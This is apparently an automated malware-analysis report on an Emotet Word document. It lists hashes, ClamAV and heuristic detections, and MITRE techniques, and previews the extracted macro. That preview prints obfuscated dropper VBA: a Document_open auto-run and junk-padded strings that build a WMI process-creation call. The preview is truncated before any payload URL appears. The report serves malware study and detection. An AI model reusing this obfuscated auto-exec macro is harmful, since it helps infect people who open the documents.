Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 57501de8b73f81be…

MALICIOUS

Office (OLE)

185.9 KB Created: 2020-09-03 13:40:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: ca81e6a7aded12bfe3451238f29881bc SHA-1: 64f513e4f78099830c9fd99e2eae0e6a31a17e45 SHA-256: 57501de8b73f81befbe2150a2eefee76bb66199340133d7f8fd11bffd88e7f32
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature 'Doc.Dropper.EmotetWinMob0920-9636503-0', strongly suggesting it belongs to the Emotet family. The presence of a 'Document_Open' VBA macro and a 'CreateObject' call indicates that the macro is designed to execute code upon opening the document. This macro likely functions as a dropper, downloading and executing a secondary payload, a common tactic for Emotet.

Heuristics 6

  • ClamAV: Doc.Dropper.EmotetWinMob0920-9636503-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetWinMob0920-9636503-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12473 bytes
SHA-256: 45b8c210a6f7e582f0b09692016c09c52508118b10ebe1b665214cc668d1db65
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Vbn10wcszy2k0lv5"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Call A0_x95ikfeh.S_plaj07p37lez
End Sub


Attribute VB_Name = "A0_x95ikfeh"
Attribute VB_Base = "0{97DF1313-E81E-4035-9190-8C8D9F7C3E12}{C6DF7B1A-CCC5-42FE-BF48-3FAD1BDC7A2B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function S_plaj07p37lez()
   On Error Resume Next
Blv2s98ycjoa = nkqlw + Hlkhlk * Rkna3lke474k768yuk / CLng(bdwesa) / jkhLlsad / CLng(mjnp4 * ckFZ) - AEVNCSp * CDate(ecxz) * MPyo / Log(B04prd5byjten)
Krkawi0etb5cvl78js = Chr(6 - Atn(lhlkKdsf) / JKGjc8 / Tan(KGJsad / nnbJK))
Gxsbfdr7g_98 = Hb7cl5f9jkf6
Mhndby5mle7cal4 = (dddwe / Lrihs1_2a77780k)
J3fvezaj2fpm = CDate(TDlq20)
Hfvbd775jm8qe8 = JHKLnlk - Sin(klhNKLBLK) - qwj3bjk - CBool(asmnk3b) / 334 + Fix(ashuq)
Arq_lsz6q4k = 105
   On Error Resume Next
Blv2s98ycjoa = nkqlw + Hlkhlk * Rkna3lke474k768yuk / CLng(bdwesa) / jkhLlsad / CLng(mjnp4 * ckFZ) - AEVNCSp * CDate(ecxz) * MPyo / Log(B04prd5byjten)
Krkawi0etb5cvl78js = Chr(6 - Atn(lhlkKdsf) / JKGjc8 / Tan(KGJsad / nnbJK))
Gxsbfdr7g_98 = Hb7cl5f9jkf6
Mhndby5mle7cal4 = (dddwe / Lrihs1_2a77780k)
J3fvezaj2fpm = CDate(TDlq20)
Hfvbd775jm8qe8 = JHKLnlk - Sin(klhNKLBLK) - qwj3bjk - CBool(asmnk3b) / 334 + Fix(ashuq)
Tmoy11_3vnnp = ChrW$(Arq_lsz6q4k + (10))
   On Error Resume Next
Blv2s98ycjoa = nkqlw + Hlkhlk * Rkna3lke474k768yuk / CLng(bdwesa) / jkhLlsad / CLng(mjnp4 * ckFZ) - AEVNCSp * CDate(ecxz) * MPyo / Log(B04prd5byjten)
Krkawi0etb5cvl78js = Chr(6 - Atn(lhlkKdsf) / JKGjc8 / Tan(KGJsad / nnbJK))
Gxsbfdr7g_98 = Hb7cl5f9jkf6
Mhndby5mle7cal4 = (dddwe / Lrihs1_2a77780k)
J3fvezaj2fpm = CDate(TDlq20)
Hfvbd775jm8qe8 = JHKLnlk - Sin(klhNKLBLK) - qwj3bjk - CBool(asmnk3b) / 334 + Fix(ashuq)
Luhu0vycak5w3 = "26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]w26{} 328[]9 gv]bhja[]i26{} 328[]9 gv]bhja[]nm26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]gm26{} 328[]9 gv]bhja[]t26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]" + Tmoy11_3vnnp + "26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]:26{} 328[]9 gv]bhja[]w26{} 328[]9 gv]bhja[]in26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]326{} 328[]9 gv]bhja[]226{} 328[]9 gv]bhja[]_26{} 328[]9 gv]bhja[]" + A0_x95ikfeh.Jgb1wo5h82ilzyuxu + "26{} 328[]9 gv]bhja[]ro26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]ce26{} 328[]9 gv]bhja[]s26{} 328[]9 gv]bhja[]s26{} 328[]9 gv]bhja[]"
   On Error Resume Next
Blv2s98ycjoa = nkqlw + Hlkhlk * Rkna3lke474k768yuk / CLng(bdwesa) / jkhLlsad / CLng(mjnp4 * ckFZ) - AEVNCSp * CDate(ecxz) * MPyo / Log(B04prd5byjten)
Krkawi0etb5cvl78js = Chr(6 - Atn(lhlkKdsf) / JKGjc8 / Tan(KGJsad / nnbJK))
Gxsbfdr7g_98 = Hb7cl5f9jkf6
Mhndby5mle7cal4 = (dddwe / Lrihs1_2a77780k)
J3fvezaj2fpm = CDate(TDlq20)
Hfvbd775jm8qe8 = JHKLnlk - Sin(klhNKLBLK) - qwj3bjk - CBool(asmnk3b) / 334 + Fix(ashuq)
B5yk8c9wxb0s = Okbjo5zwkqbidl(Luhu0vycak5w3)
   On Error Resume Next
Blv2s98ycjoa = nkqlw + Hlkhlk * Rkna3lke474k768yuk / CLng(bdwesa) / jkhLlsad / CLng(mjnp4 * ckFZ) - AEVNCSp * CDate(ecxz) * MPyo / Log(B04prd5byjten)
Krkawi0etb5cvl78js = Chr(6 - Atn(lhlkKdsf) / JKGjc8 / Tan(KGJsad / nnbJK))
Gxsbfdr7g_98 = Hb7cl5f9jkf6
Mhndby5mle7cal4 = (dddwe / Lrihs1_2a77780k)
J3fvezaj2fpm = CDate(TDlq20)
Hfvbd775jm8qe8 = JHKLnlk - Sin(klhNKLBLK) - qwj3bjk - CBool(asmnk3b) / 334 + Fix(ashuq)
   On Error Resume Next
Blv2s98ycjoa = nkqlw + Hlkhlk * Rkna3lke474k768yuk / CLng(bdwesa) / jkhLlsad / CLng(mjnp4 * ckFZ) - AEVNCSp * CDate(ecxz) * MPyo / Log(B04prd5byjten)
Krkawi0etb5cvl78js = Chr(6 - Atn(lhlkKdsf) / JKGjc8 / Tan(KGJsad / nnbJK))
Gxsbfdr7g_98 = Hb7cl5f9jkf6
Mhndby5mle7cal4 = (dddwe / Lrihs1_2a77780k)
J3fvezaj2fpm = CDate(TDlq20)
Hfvbd775jm8qe8 = JHKLnlk - Sin(klhNKLBLK) - qwj3bjk - CBool(asmnk3b) /
... (truncated)

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